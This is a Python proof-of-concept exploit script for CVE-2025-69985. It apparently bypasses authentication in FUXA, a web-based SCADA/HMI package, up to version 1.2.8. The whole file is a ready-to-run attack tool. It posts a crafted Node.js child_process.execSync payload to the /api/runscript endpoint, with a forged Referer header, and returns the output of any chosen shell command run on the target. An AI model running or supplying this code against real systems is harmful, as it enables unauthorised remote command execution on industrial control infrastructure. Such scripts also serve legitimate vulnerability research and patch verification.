#!/usr/bin/env python3 """ FUXA ≤ 1.2.8 Authentication Bypass + RCE Exploit CVE-2025-69985 This Python exploit targets CVE-2025-69985, an authentication bypass in FUXA (web-based SCADA/HMI software) that allows access to the protected /api/runscript endpoint even when authentication is enabled. By sending a crafted JavaScript payload using child_process.execSync, it achieves full remote command execution with complete stdout capture (no reverse shell needed). Author: Joshua van der poll (https://github.com/joshuavanderpoll/CVE-2025-69985) Created: February 2026 Version: 1.0 License: GNU General Public License v3.0 (GPL-3.0) Disclaimer: Use responsibly. This is a proof-of-concept for a patched vulnerability (fixed in FUXA > 1.2.8). Do not use against systems you do not own or have explicit permission to test. Usage: python3 exploit.py -u http://target:1881 -c "whoami" """ import requests import argparse import sys import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Colors GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BLUE = '\033[94m' CYAN = '\033[96m' RESET = '\033[0m' def print_status(msg, color=BLUE, symbol="[*]"): print(f"{color}{symbol} {msg}{RESET}") def print_success(msg): print_status(msg, GREEN, "[+]") def print_warning(msg): print_status(msg, YELLOW, "[!]") def print_error(msg, exc=None): print_status(msg, RED, "[-]") if exc: print(f" → {type(exc).__name__}: {exc}") import traceback traceback.print_exc(limit=2) def build_js_payload(command: str) -> str: """Build safe Node.js payload with proper escaping""" escaped = (command .replace('\\', '\\\\') .replace('"', '\\"') .replace('`', '\\`') .replace('\n', '\\n')) js = f"""const cp = require("child_process"); try {{ const result = cp.execSync("{escaped}", {{ encoding: "utf8" }}); return result.toString(); }} catch (err) {{ return "ERROR: " + err.message + (err.stdout ? "\\nSTDOUT: " + err.stdout.toString() : "") + (err.stderr ? "\\nSTDERR: " + err.stderr.toString() : ""); }}""" return js def run_command(session, base_url, command): print_status(f"Preparing payload → executing: {command}") js_code = build_js_payload(command) payload = { "params": { "script": { "parameters": [], "mode": "", "id": "exploit", "name": "exploit", "code": js_code, "test": js_code }, "toLogEvent": False } } headers = { "Content-Type": "application/json", "Referer": f"{base_url}/fuxa" } print_status("Sending exploit request to /api/runscript ...") try: resp = session.post( f"{base_url}/api/runscript", json=payload, headers=headers, timeout=15, verify=False ) print_status(f"Response status: {resp.status_code}", CYAN) if resp.status_code == 200: output = resp.text.strip() print_success("Command executed successfully (CVE-2025-69985 bypass)!") print(f"\n{GREEN}=== COMMAND OUTPUT ==={RESET}") print(output if output else "(no output)") print(f"{GREEN}======================{RESET}\n") return True else: print_error(f"Server returned {resp.status_code}") if resp.text.strip(): print(f"Body preview: {resp.text[:500]}") return False except requests.exceptions.Timeout: print_warning("Request timed out (command may still have executed)") return False except Exception as e: print_error("Request failed", e) return False def exploit_command(base_url, command): session = requests.Session() session.verify = False # Execute command success = run_command(session, base_url, command) if success: print("\n" + "="*70) print(f" {GREEN}Exploit completed!.{RESET}") print("="*70 + "\n") else: print_warning("Exploit may require checking target version / network") def main(): parser = argparse.ArgumentParser( description="FUXA ≤ 1.2.8 Auth Bypass + RCE (CVE-2025-69985)" ) parser.add_argument('-u', '--url', required=True, help="Target URL (http(s)://host:port)") parser.add_argument('-c', '--cmd', required=True, help="Command to execute on target") args = parser.parse_args() base_url = args.url.rstrip('/') print(f"\n {BLUE}Target :{RESET} {base_url}") print(f" {BLUE}Command:{RESET} {args.cmd}\n") try: exploit_command( base_url=base_url, command=args.cmd ) except KeyboardInterrupt: print_warning("Interrupted by user") sys.exit(2) except Exception as e: print_error("Unexpected fatal error", e) sys.exit(3) if __name__ == "__main__": main()